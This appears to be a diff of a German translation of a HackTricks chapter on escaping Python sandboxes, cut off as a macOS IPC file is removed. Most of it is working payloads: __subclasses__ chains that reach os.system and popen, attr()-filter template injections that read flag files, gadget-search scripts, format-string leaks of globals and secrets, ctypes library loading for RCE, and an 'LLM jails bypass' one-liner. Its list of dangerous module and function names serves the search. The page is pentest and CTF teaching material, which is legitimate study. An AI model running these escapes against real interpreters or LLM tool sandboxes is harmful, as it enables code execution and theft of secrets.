Einer der sensibelsten Aspekte dieser Technik ist die Fähigkeit, **access the base subclasses**. In den vorherigen Beispielen wurde dies mit `''.__class__.__base__.__subclasses__()` gemacht, aber es gibt **andere mögliche Wege**:
|
||||
Einer der sensibelsten Teile dieser Technik ist, auf die Basis-Subklassen zugreifen zu können. In den vorherigen Beispielen wurde dies mit `''.__class__.__base__.__subclasses__()` gemacht, aber es gibt **andere mögliche Wege**:
|
||||
```python
|
||||
#You can access the base from mostly anywhere (in regular conditions)
|
||||
"".__class__.__base__.__subclasses__()
|
||||
@ -446,9 +446,9 @@ defined_func.__class__.__base__.__subclasses__()
|
||||
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
|
||||
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
|
||||
```
|
||||
### Gefährliche geladene Bibliotheken finden
|
||||
### Gefährliche geladene Libraries finden
|
||||
|
||||
Zum Beispiel kannst du, da es mit der Bibliothek **`sys`** möglich ist, **beliebige Bibliotheken zu importieren**, nach allen **geladenen Modulen suchen, die `sys` in sich importiert haben**:
|
||||
Zum Beispiel: Wenn man weiß, dass man mit der Bibliothek **`sys`** beliebige Bibliotheken importieren kann, kann man nach allen **geladenen Modulen suchen, die `sys` in sich importiert haben**:
|
||||
```python
|
||||
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
||||
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
||||
@ -457,7 +457,7 @@ Es gibt viele, und **wir brauchen nur einen**, um Befehle auszuführen:
|
||||
```python
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
||||
```
|
||||
Gleiches können wir mit **anderen Bibliotheken** machen, von denen wir wissen, dass sie zur **Ausführung von Befehlen** verwendet werden können:
|
||||
Wir können dasselbe mit **anderen Bibliotheken** tun, von denen wir wissen, dass sie verwendet werden können, um **Befehle auszuführen**:
|
||||
```python
|
||||
#os
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
|
||||
@ -492,7 +492,7 @@ Gleiches können wir mit **anderen Bibliotheken** machen, von denen wir wissen,
|
||||
#pdb
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
|
||||
```
|
||||
Außerdem könnten wir sogar herausfinden, welche modules malicious libraries laden:
|
||||
Außerdem könnten wir sogar untersuchen, welche Module bösartige Bibliotheken laden:
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
for b in bad_libraries_names:
|
||||
@ -511,7 +511,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
|
||||
pdb:
|
||||
"""
|
||||
```
|
||||
Außerdem, wenn du denkst, dass **andere Bibliotheken** möglicherweise in der Lage sind, **Funktionen aufzurufen, um Befehle auszuführen**, können wir auch **nach Funktionsnamen filtern** innerhalb der möglichen Bibliotheken:
|
||||
Außerdem, wenn du denkst, dass **andere Bibliotheken** möglicherweise **Funktionen aufrufen können, um Befehle auszuführen**, können wir auch **nach Funktionsnamen** innerhalb der möglichen Bibliotheken filtern:
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
|
||||
@ -544,10 +544,11 @@ execute:
|
||||
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
|
||||
"""
|
||||
```
|
||||
## Rekursive Suche nach builtins, globals...
|
||||
## Rekursive Suche nach Builtins, Globals...
|
||||
|
||||
> [!WARNING]
|
||||
> Das ist einfach **großartig**. Wenn du **nach einem Objekt wie globals, builtins, open oder ähnlichem suchst**, verwende einfach dieses Skript, um **rekursiv Stellen zu finden, an denen du dieses Objekt finden kannst.**
|
||||
> Das ist einfach **fantastisch**.
|
||||
> Wenn du **nach einem Objekt wie globals, builtins, open oder Ähnlichem suchst**, benutze einfach dieses Skript, um **rekursiv Stellen zu finden, an denen du dieses Objekt finden kannst.**
|
||||
```python
|
||||
import os, sys # Import these to find more gadgets
|
||||
|
||||
@ -672,7 +673,7 @@ https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-
|
||||
|
||||
## Python Format String
|
||||
|
||||
Wenn du einen **string** an python **sendest**, der **formatiert** wird, kannst du `{}` verwenden, um auf **interne Informationen von python** zuzugreifen. Du kannst die vorherigen Beispiele verwenden, um z. B. auf globals oder builtins zuzugreifen.
|
||||
Wenn du einen **String** an python **sendest**, der **formatiert** wird, kannst du `{}` verwenden, um auf interne python-Informationen zuzugreifen. Du kannst zum Beispiel die vorherigen Beispiele verwenden, um auf globals oder builtins zuzugreifen.
|
||||
```python
|
||||
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
||||
CONFIG = {
|
||||
@ -692,16 +693,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
Beachte, dass du **Attribute** auf normale Weise mit einem **Punkt** wie `people_obj.__init__` und ein **dict-Element** mit **eckigen Klammern** ohne Anführungszeichen `__globals__[CONFIG]` zugreifen kannst
|
||||
Beachte, dass du **Attribute** auf normale Weise mit einem **Punkt** wie `people_obj.__init__` und ein **dict element** mit **parenthesis** ohne Anführungszeichen `__globals__[CONFIG]` zugreifen kannst.
|
||||
|
||||
Beachte auch, dass du `.__dict__` verwenden kannst, um Elemente eines Objekts aufzulisten `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
Beachte außerdem, dass du `.__dict__` verwenden kannst, um Elemente eines Objekts aufzulisten `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
|
||||
Einige weitere interessante Eigenschaften von Format-Strings sind die Möglichkeit, die **Funktionen** `str`, `repr` und `ascii` im angegebenen Objekt **auszuführen**, indem man jeweils **`!s`**, **`!r`**, **`!a`** hinzufügt:
|
||||
Weitere interessante Eigenschaften von format strings sind die Möglichkeit, die **Funktionen** **`str`**, **`repr`** und **`ascii`** auf dem angegebenen Objekt auszuführen, indem man jeweils **`!s`**, **`!r`**, **`!a`** anhängt:
|
||||
```python
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
Außerdem ist es möglich, **code new formatters** in Klassen zu implementieren:
|
||||
Außerdem ist es möglich, in classes **code new formatters** zu implementieren:
|
||||
```python
|
||||
class HAL9000(object):
|
||||
def __format__(self, format):
|
||||
@ -712,7 +713,7 @@ return 'HAL 9000'
|
||||
'{:open-the-pod-bay-doors}'.format(HAL9000())
|
||||
#I'm afraid I can't do that.
|
||||
```
|
||||
**Weitere Beispiele** zu **format** **string** finden Sie unter [**https://pyformat.info/**](https://pyformat.info)
|
||||
**Weitere Beispiele** zu **format** **string** finden Sie auf [**https://pyformat.info/**](https://pyformat.info)
|
||||
|
||||
> [!CAUTION]
|
||||
> Prüfen Sie auch die folgende Seite auf gadgets, die **sensible Informationen aus Python-internen Objekten lesen**:
|
||||
@ -740,20 +741,20 @@ str(x) # Out: clueless
|
||||
```
|
||||
### LLM Jails bypass
|
||||
|
||||
Aus [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
|
||||
From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
|
||||
|
||||
### Vom format-String zur RCE beim Laden von Libraries
|
||||
### From format to RCE loading libraries
|
||||
|
||||
Laut dem [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) ist es möglich, beliebige Libraries von der Festplatte zu laden, indem man die format string vulnerability in python ausnutzt.
|
||||
According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) it's possible to load arbitrary libraries from disk abusing the format string vulnerability in python.
|
||||
|
||||
Zur Erinnerung: Jedes Mal, wenn eine Operation in python ausgeführt wird, wird eine Funktion aufgerufen. Zum Beispiel wird `2*3` **`(2).mul(3)`** ausführen oder `{'a':'b'}['a']` wird **`{'a':'b'}.__getitem__('a')`** ausführen.
|
||||
Zur Erinnerung: Jedes Mal, wenn eine Aktion in python ausgeführt wird, wird eine Funktion aufgerufen. Zum Beispiel führt `2*3` **`(2).mul(3)`** aus oder `{'a':'b'}['a']` wird **`{'a':'b'}.__getitem__('a')`** aufrufen.
|
||||
|
||||
Weitere Beispiele findest du im Abschnitt [**Python execution without calls**](#python-execution-without-calls).
|
||||
Mehr dazu findest du im Abschnitt [**Python execution without calls**](#python-execution-without-calls).
|
||||
|
||||
Eine python format string vuln erlaubt es nicht, eine Funktion auszuführen (sie erlaubt nicht die Verwendung von parenthesis), daher ist es nicht möglich, RCE wie `'{0.system("/bin/sh")}'.format(os)`.\
|
||||
Es ist jedoch möglich, `[]` zu verwenden. Wenn also eine gängige python-Library eine **`__getitem__`** oder **`__getattr__`**-Methode besitzt, die beliebigen Code ausführt, lässt sich diese zum Erlangen von RCE missbrauchen.
|
||||
Eine python format string vuln erlaubt es nicht, eine Funktion auszuführen (sie erlaubt keine parenthesis), daher ist es nicht möglich, RCE wie `'{0.system("/bin/sh")}'.format(os)` zu erreichen.
|
||||
Allerdings ist die Verwendung von `[]` möglich. Wenn eine verbreitete python library also eine **`__getitem__`**- oder **`__getattr__`**-Methode hat, die beliebigen Code ausführt, kann man sie ausnutzen, um RCE zu erreichen.
|
||||
|
||||
Bei der Suche nach einem solchen Gadget in python schlägt der writeup diese [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code) vor. Dort fand er dieses [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
|
||||
Bei der Suche nach einem solchen Gadget in python schlägt das writeup diese [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code) vor. Dort fand er dieses [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
|
||||
```python
|
||||
class LibraryLoader(object):
|
||||
def __init__(self, dlltype):
|
||||
@ -775,20 +776,20 @@ return getattr(self, name)
|
||||
cdll = LibraryLoader(CDLL)
|
||||
pydll = LibraryLoader(PyDLL)
|
||||
```
|
||||
Dieses Gadget erlaubt es, **eine Bibliothek von der Festplatte zu laden**. Deshalb ist es nötig, **die zu ladende Bibliothek irgendwie korrekt kompiliert auf den angegriffenen Server zu schreiben oder hochzuladen**.
|
||||
Dieses Gadget ermöglicht es, **eine Bibliothek von der Festplatte zu laden**. Daher muss **die zu ladende Bibliothek irgendwie korrekt kompiliert auf den angegriffenen Server geschrieben oder hochgeladen werden**.
|
||||
```python
|
||||
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
|
||||
```
|
||||
Die Challenge nutzt tatsächlich eine weitere Schwachstelle im Server aus, die das Erstellen beliebiger Dateien auf der Festplatte des Servers erlaubt.
|
||||
Die Challenge nutzt tatsächlich eine weitere Schwachstelle auf dem Server aus, die das Erstellen beliebiger Dateien auf der Festplatte des Servers erlaubt.
|
||||
|
||||
## Analyse von Python-Objekten
|
||||
|
||||
> [!TIP]
|
||||
> Wenn du **python bytecode** eingehend **lernen** möchtest, lies diesen **ausgezeichneten** Beitrag zum Thema: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
|
||||
In einigen CTFs könntest du den Namen einer **custom function where the flag** erhalten und musst die **internals** der **function** ansehen, um sie zu extrahieren.
|
||||
In einigen CTFs kann dir der Name einer **custom function where the flag** gegeben werden, und du musst die **Interna** der **Funktion** ansehen, um sie zu extrahieren.
|
||||
|
||||
Das ist die Funktion, die es zu untersuchen gilt:
|
||||
Das ist die Funktion, die untersucht werden soll:
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
@ -808,7 +809,7 @@ dir(get_flag) #Get info tof the function
|
||||
```
|
||||
#### globals
|
||||
|
||||
`__globals__` und `func_globals` (gleich) geben die globale Umgebung zurück. Im Beispiel siehst du einige importierte Module, einige globale Variablen und deren Inhalte:
|
||||
`__globals__` und `func_globals`(gleich) erhalten die globale Umgebung. Im Beispiel sieht man einige importierte Module, einige globale Variablen und deren deklarierte Inhalte:
|
||||
```python
|
||||
get_flag.func_globals
|
||||
get_flag.__globals__
|
||||
@ -821,7 +822,7 @@ CustomClassObject.__class__.__init__.__globals__
|
||||
|
||||
### **Zugriff auf den Funktionscode**
|
||||
|
||||
**`__code__`** und `func_code`: Du kannst auf dieses **Attribut** der Funktion **zugreifen**, um **das Code-Objekt** der Funktion zu erhalten.
|
||||
**`__code__`** und `func_code`: Du kannst auf dieses **Attribut** der Funktion **zugreifen**, um das **Code-Objekt** der Funktion zu erhalten.
|
||||
```python
|
||||
# In our current example
|
||||
get_flag.__code__
|
||||
@ -835,7 +836,7 @@ compile("print(5)", "", "single")
|
||||
dir(get_flag.__code__)
|
||||
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
|
||||
```
|
||||
### Code-Informationen erhalten
|
||||
### Code-Informationen abrufen
|
||||
```python
|
||||
# Another example
|
||||
s = '''
|
||||
@ -909,7 +910,7 @@ dis.dis(get_flag)
|
||||
44 LOAD_CONST 0 (None)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
Beachte, dass **wenn du `dis` im python sandbox nicht importieren kannst** du den **bytecode** der Funktion (`get_flag.func_code.co_code`) erhalten und ihn lokal **disassemble** kannst. Du wirst den Inhalt der geladenen Variablen (`LOAD_CONST`) nicht sehen, aber du kannst sie aus (`get_flag.func_code.co_consts`) erraten, weil `LOAD_CONST` auch den Offset der geladenen Variable angibt.
|
||||
Beachte, dass, wenn du `dis` im python sandbox nicht importieren kannst, du den **bytecode** der Funktion (`get_flag.func_code.co_code`) erhalten und ihn lokal **disassemble** kannst. Du wirst den Inhalt der geladenen Variablen (`LOAD_CONST`) nicht sehen, aber du kannst sie aus (`get_flag.func_code.co_consts`) erraten, weil `LOAD_CONST` auch den Offset der geladenen Variable angibt.
|
||||
```python
|
||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||
0 LOAD_CONST 1 (1)
|
||||
@ -931,10 +932,10 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
||||
44 LOAD_CONST 0 (0)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
## Python kompilieren
|
||||
## Kompilieren von Python
|
||||
|
||||
Nun stellen wir uns vor, dass Sie auf irgendeine Weise **die Informationen über eine Funktion dumpen können, die Sie nicht ausführen können**, diese aber **ausführen** müssen.\
|
||||
Wie im folgenden Beispiel können Sie **auf das code object** dieser Funktion zugreifen, aber wenn Sie nur das **disassemble** lesen, wissen Sie **nicht, wie Sie das flag berechnen** (_stellen Sie sich eine komplexere `calc_flag`-Funktion vor_)
|
||||
Stellen wir uns nun vor, dass Sie auf irgendeine Weise **dump the information about a function that you cannot execute** können, aber Sie **need** to **execute** it.\
|
||||
Wie im folgenden Beispiel können Sie zwar **can access the code object** dieser Funktion, aber allein durch das Lesen des disassemble wissen Sie **don't know how to calculate the flag** (_imagine a more complex `calc_flag` function_)
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
@ -949,7 +950,7 @@ return "Nope"
|
||||
```
|
||||
### Erstellen des code object
|
||||
|
||||
Zunächst müssen wir wissen, **wie man ein code object erstellt und ausführt**, damit wir eines erstellen können, um unsere function leaked auszuführen:
|
||||
Zuerst müssen wir wissen **how to create and execute a code object**, damit wir eines erstellen können, um unsere Funktion leaked auszuführen:
|
||||
```python
|
||||
code_type = type((lambda: None).__code__)
|
||||
# Check the following hint if you get an error in calling this
|
||||
@ -969,7 +970,7 @@ mydict['__builtins__'] = __builtins__
|
||||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
```
|
||||
> [!TIP]
|
||||
> Je nach python-Version können die **Parameter** von `code_type` eine **andere Reihenfolge** haben. Der beste Weg, die Reihenfolge der Parameter in der python-Version, die du ausführst, zu kennen, ist, Folgendes auszuführen:
|
||||
> Je nach Python-Version können die **parameters** von `code_type` eine **andere Reihenfolge** haben. Der beste Weg, die Reihenfolge der params in der Python-Version, die Sie gerade ausführen, zu ermitteln, ist, Folgendes auszuführen:
|
||||
>
|
||||
> ```
|
||||
> import types
|
||||
@ -977,10 +978,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
> 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
|
||||
> ```
|
||||
|
||||
### Rekonstruktion einer leaked Funktion
|
||||
### Rekonstruieren einer leaked function
|
||||
|
||||
> [!WARNING]
|
||||
> Im folgenden Beispiel werden wir alle Daten, die nötig sind, um die Funktion zu rekonstruieren, direkt aus dem function code object entnehmen. In einem **realen Beispiel** sind alle **Werte**, um die Funktion **`code_type`** auszuführen, genau das, was **du als leak benötigst**.
|
||||
> Im folgenden Beispiel werden wir alle Daten, die benötigt werden, um die function direkt aus dem function code object zu rekonstruieren, entnehmen. In einem **echten Beispiel** sind alle **values**, um die function **`code_type`** auszuführen, genau das, was **Sie leak müssen**.
|
||||
```python
|
||||
fc = get_flag.__code__
|
||||
# In a real situation the values like fc.co_argcount are the ones you need to leak
|
||||
@ -993,10 +994,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
```
|
||||
### Abwehrmechanismen umgehen
|
||||
|
||||
In den vorherigen Beispielen am Anfang dieses Posts kannst du sehen, **wie man beliebigen python code mit der `compile`-Funktion ausführt**. Das ist interessant, weil du **ganze Skripte ausführen** kannst, mit Schleifen und allem in einem **one liner** (und wir könnten dasselbe mit **`exec`** tun).\
|
||||
Wie auch immer, manchmal kann es nützlich sein, **erstellen** eines **kompilierten Objekts** auf einem lokalen Rechner und dieses auf der **CTF machine** auszuführen (zum Beispiel weil wir die `compiled`-Funktion auf der CTF nicht haben).
|
||||
In früheren Beispielen am Anfang dieses Beitrags kannst du sehen, **wie man beliebigen python code mit der Funktion `compile` ausführt**. Das ist interessant, weil man **komplette Skripte** mit Schleifen und allem in einem **One-Liner** ausführen kann (und das gleiche könnten wir mit **`exec`** tun).\
|
||||
Manchmal kann es jedoch nützlich sein, ein **compiled object** auf einer lokalen Maschine zu **erstellen** und es auf der **CTF machine** auszuführen (z. B. weil wir die Funktion `compiled` im CTF nicht haben).
|
||||
|
||||
Zum Beispiel, lass uns manuell eine Funktion kompilieren und ausführen, die _./poc.py_ liest:
|
||||
Zum Beispiel kompilieren und führen wir manuell eine Funktion aus, die _./poc.py_ liest:
|
||||
```python
|
||||
#Locally
|
||||
def read():
|
||||
@ -1023,7 +1024,7 @@ mydict['__builtins__'] = __builtins__
|
||||
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
||||
function_type(codeobj, mydict, None, None, None)()
|
||||
```
|
||||
Wenn du nicht auf `eval` oder `exec` zugreifen kannst, könntest du eine **richtige Funktion** erstellen, aber sie direkt aufzurufen wird normalerweise mit dem Fehler fehlschlagen: _constructor not accessible in restricted mode_. Du brauchst also eine **Funktion, die sich nicht in der eingeschränkten Umgebung befindet, um diese Funktion aufzurufen.**
|
||||
Wenn du keinen Zugriff auf `eval` oder `exec` hast, könntest du eine **richtige Funktion** erstellen, aber sie direkt aufzurufen wird normalerweise mit: _Konstruktor im eingeschränkten Modus nicht zugänglich_ fehlschlagen. Du brauchst also eine **Funktion außerhalb der eingeschränkten Umgebung, die diese Funktion aufruft.**
|
||||
```python
|
||||
#Compile a regular print
|
||||
ftype = type(lambda: None)
|
||||
@ -1033,20 +1034,20 @@ f(42)
|
||||
```
|
||||
## Decompiling Compiled Python
|
||||
|
||||
Mit Tools wie [**https://www.decompiler.com/**](https://www.decompiler.com) kann man gegebenen kompilierten Python-Code **decompile**.
|
||||
Mit Tools wie [**https://www.decompiler.com/**](https://www.decompiler.com) kann man gegebenen kompilierten python code **decompile**.
|
||||
|
||||
**Schau dir dieses Tutorial an**:
|
||||
**Sieh dir dieses Tutorial an**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
|
||||
{{#endref}}
|
||||
|
||||
## Sonstiges zu Python
|
||||
## Misc Python
|
||||
|
||||
### Assert
|
||||
|
||||
Python, ausgeführt mit Optimierungen über den Parameter `-O`, entfernt assert-Anweisungen und jeden Code, der von dem Wert von **debug** abhängig ist.\
|
||||
Python, ausgeführt mit Optimierungen und dem Parameter `-O`, entfernt asset statements und jeden Code, der vom Wert von **debug** abhängig ist.\
|
||||
Daher werden Prüfungen wie
|
||||
```python
|
||||
def check_permission(super_user):
|
||||
|
@ -1,836 +0,0 @@
|
||||
# macOS IPC - Inter Process Communication
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Mach-Nachrichten über Ports
|
||||
|
||||
